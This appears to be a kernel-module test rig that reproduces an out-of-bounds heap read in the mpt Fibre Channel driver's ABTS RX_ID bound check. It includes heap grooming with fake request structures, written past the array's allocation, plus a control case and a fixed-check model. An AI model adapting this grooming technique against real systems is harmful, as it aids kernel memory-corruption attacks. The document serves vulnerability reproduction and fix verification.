/*
 * DF-2537 rig -- mpt_fc_els_reply_handler ABTS RX_ID bound check uses the
 * IOC-reported mpt_max_tgtcmds (port_facts[0].MaxPostedCmdBuffers) instead
 * of the allocated tgt_cmd_ptrs size (mpt_cam.c:4250-4256:
 * max = min(MPT_MAX_REQUESTS/2=256, mpt_max_tgtcmds)).
 *
 * Verbatim: the ABTS branch (mpt_cam.c:2995-3032) extracted by gen.sh.
 * IOC reporting MaxPostedCmdBuffers=512 makes rx_id in [256,512) pass the
 * :3004 check but index past the 256-entry array (OOB heap read) whose
 * result is dereferenced as request_t* via MPT_TGT_STATE.
 *
 * sysctl kern.dfv2537.run: 0 = ABTS rx_id=300 (OOB), 1 = control rx_id=100
 * (in-bounds), 2 = FIXED model (check tgt_cmds_allocated instead).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>

#include <dev/disk/mpt/mpt.h>
#include <dev/disk/mpt/mpilib/mpi.h>
#include <dev/disk/mpt/mpilib/mpi_fc.h>
#include <dev/disk/mpt/mpilib/mpi_targ.h>
#include <dev/disk/mpt/mpilib/mpi_init.h>
#include <dev/disk/mpt/mpilib/mpi_cnfg.h>

#define ABTS 0x81		/* mpt_cam.c:2759 */

static char df_logbuf[2048];
static int df_nlog;
#define DFLOG(fmt, ...) do { \
	int n = ksnprintf(df_logbuf + df_nlog, sizeof(df_logbuf) - df_nlog, \
	    fmt , ##__VA_ARGS__); \
	if (n > 0) df_nlog += n; \
} while (0)

/* logging interposition only */
#define mpt_prt(mpt, fmt, ...)	DFLOG("mpt_prt: " fmt , ##__VA_ARGS__)
#define mpt_lprt(mpt, lvl, fmt, ...) DFLOG("mpt_lprt: " fmt , ##__VA_ARGS__)
static int
mpt_abort_target_cmd(struct mpt_softc *mpt, request_t *req)
{
	DFLOG("mpt_abort_target_cmd called with OOB req=%p\n", req);
	return (0);
}

/* (extract included inside df_run2537 below; the mpt_prt/mpt_lprt
 * logging macros above stay active for it) */

static char df_status[4096];

#define NREAL 256			/* mpt_add_target_commands alloc size */

static void
df_run2537(int mode)
{
	struct mpt_softc *mpt;
	request_t **ptrs;
	request_t *fake_req;
	uint8_t *vbuf;
	mpt_tgt_state_t *tgt;
	MSG_LINK_SERVICE_BUFFER_POST_REPLY rp_s;
	PTR_MSG_LINK_SERVICE_BUFFER_POST_REPLY rp = &rp_s;
	U32 elsbuf[8];
	U8 rctl = ABTS, type = 0;
	char *p = df_status;
	int t = 0;
	uint16_t rx_id = (mode == 1) ? 100 : 300;

	mpt = kmalloc(sizeof(*mpt), M_DEVBUF, M_WAITOK | M_ZERO);
	mpt->port_facts = kmalloc(sizeof(*mpt->port_facts) * 1, M_DEVBUF,
	    M_WAITOK | M_ZERO);
	mpt->port_facts[0].MaxPostedCmdBuffers = 512;	/* IOC-reported */

	/* the real allocation: min(256, 512) entries */
	ptrs = kmalloc(NREAL * sizeof(request_t *), M_DEVBUF, M_WAITOK | M_ZERO);
	mpt->tgt_cmd_ptrs = ptrs;
	mpt->tgt_cmds_allocated = NREAL;

	/* the OOB region right after the array: groomed with a fake
	 * request_t whose req_vbuf ends in a fake mpt_tgt_state */
	vbuf = kmalloc(512, M_DEVBUF, M_WAITOK | M_ZERO);
	fake_req = kmalloc(sizeof(*fake_req), M_DEVBUF, M_WAITOK | M_ZERO);
	fake_req->req_vbuf = vbuf;
	mpt->ioc_facts.RequestFrameSize = 128;	/* MPT_RQSL = 512 */
	tgt = (mpt_tgt_state_t *)(vbuf + 512 - sizeof(*tgt));
	tgt->reply_desc = (0xBEEF << TARGET_MODE_REPLY_IO_INDEX_SHIFT);
	tgt->ccb = NULL;

	/* groom: entries [256..] past the array point at our fake req */
	{
		request_t **after = ptrs + NREAL;
		int i;
		for (i = 0; i < 128; i++)	/* groom rx_id 256..383 */
			after[i] = fake_req;
		/* in-bounds entry used by the control */
		ptrs[100] = fake_req;
	}

	memset(rp, 0, sizeof(*rp));
	rp->Rxid = htole16(rx_id);
	rp->Oxid = htole16(0x1111);
	rp->Rctl_Did = htole32((ABTS << MPI_FC_RCTL_SHIFT));

	df_nlog = 0;
	df_logbuf[0] = 0;

	/* FIXED model: a pre-guard using the ALLOCATED size (what a fixed
	 * :3004 check would do).  Vulnerable modes fall through into the
	 * VERBATIM block. */
	if (mode == 2 && rx_id >= mpt->tgt_cmds_allocated) {
		DFLOG("FIXED guard: Bad RX_ID 0x%x (>= tgt_cmds_allocated "
		    "%d) -- rejected before the array access\n",
		    rx_id, mpt->tgt_cmds_allocated);
		goto done;
	}
	if (0) {
		;
	/* the VERBATIM block begins with "} else if (rctl == ABTS ...) {" --
	 * its leading } closes this if(0) block */
#include "dfv2537_extract.h"
		}	/* closes "if (tgt_req)" left open by the extract */
	}		/* closes "else if (rctl == ABTS ...)" left open */
skip:
	;
done:
	t += ksnprintf(p + t, sizeof(df_status) - t,
	    "DF2537[mode=%d rx_id=%d]: tgt_cmd_ptrs=%d entries, "
	    "mpt_max_tgtcmds=%d\n", mode, rx_id, NREAL,
	    mpt->port_facts[0].MaxPostedCmdBuffers);
	t += ksnprintf(p + t, sizeof(df_status) - t, "DF2537: log: %s\n",
	    df_logbuf);
	{
		void *p100 = mpt->tgt_cmd_ptrs[100];
		void *p300 = mpt->tgt_cmd_ptrs[300];
		mpt_tgt_state_t *tgtd = MPT_TGT_STATE(mpt, fake_req);
		t += ksnprintf(p + t, sizeof(df_status) - t,
		    "DF2537: diag2 tgt->reply_desc=0x%x ct_id=0x%x "
		    "RQSL=%d sizeof(tgt_state)=%zu\n",
		    tgtd->reply_desc, (uint32_t)GET_IO_INDEX(tgtd->reply_desc),
		    MPT_RQSL(mpt), sizeof(mpt_tgt_state_t));
		t += ksnprintf(p + t, sizeof(df_status) - t,
		    "DF2537: diag ptrs[100]=%p ptrs[300]=%p fake_req=%p "
		    "(ptrs[300] is 352 bytes past the 2048B allocation)\n",
		    p100, p300, fake_req);
	}
	kfree(vbuf, M_DEVBUF);
	kfree(fake_req, M_DEVBUF);
	kfree(ptrs, M_DEVBUF);
	kfree(mpt->port_facts, M_DEVBUF);
	kfree(mpt, M_DEVBUF);
}

static int
dfv2537_sysctl(SYSCTL_HANDLER_ARGS)
{
	char out[4096];
	int error, v = 0;

	if (req->newptr != NULL) {
		error = sysctl_handle_int(oidp, &v, 0, req);
		if (error)
			return error;
		df_status[0] = 0;
		switch (v) {
		case 0: df_run2537(0); break;
		case 1: df_run2537(1); break;
		case 2: df_run2537(2); break;
		default: return EINVAL;
		}
		return 0;
	}
	ksnprintf(out, sizeof(out), "%s", df_status);
	return SYSCTL_OUT(req, out, strlen(out) + 1);
}
SYSCTL_PROC(_kern, OID_AUTO, dfv2537_run, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, dfv2537_sysctl, "I", "dfv2537: 0=OOB300 1=ctl100 2=fixed");
SYSCTL_PROC(_kern, OID_AUTO, dfv2537_status, CTLTYPE_STRING | CTLFLAG_RD,
    0, 0, dfv2537_sysctl, "A", "dfv2537 status");

static int
dfv2537_load(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		kprintf("dfv2537: loaded\n");
		return 0;
	default:
		return 0;
	}
}
static moduledata_t dfv2537_mod = { "dfv2537", dfv2537_load, NULL };
DECLARE_MODULE(dfv2537, dfv2537_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
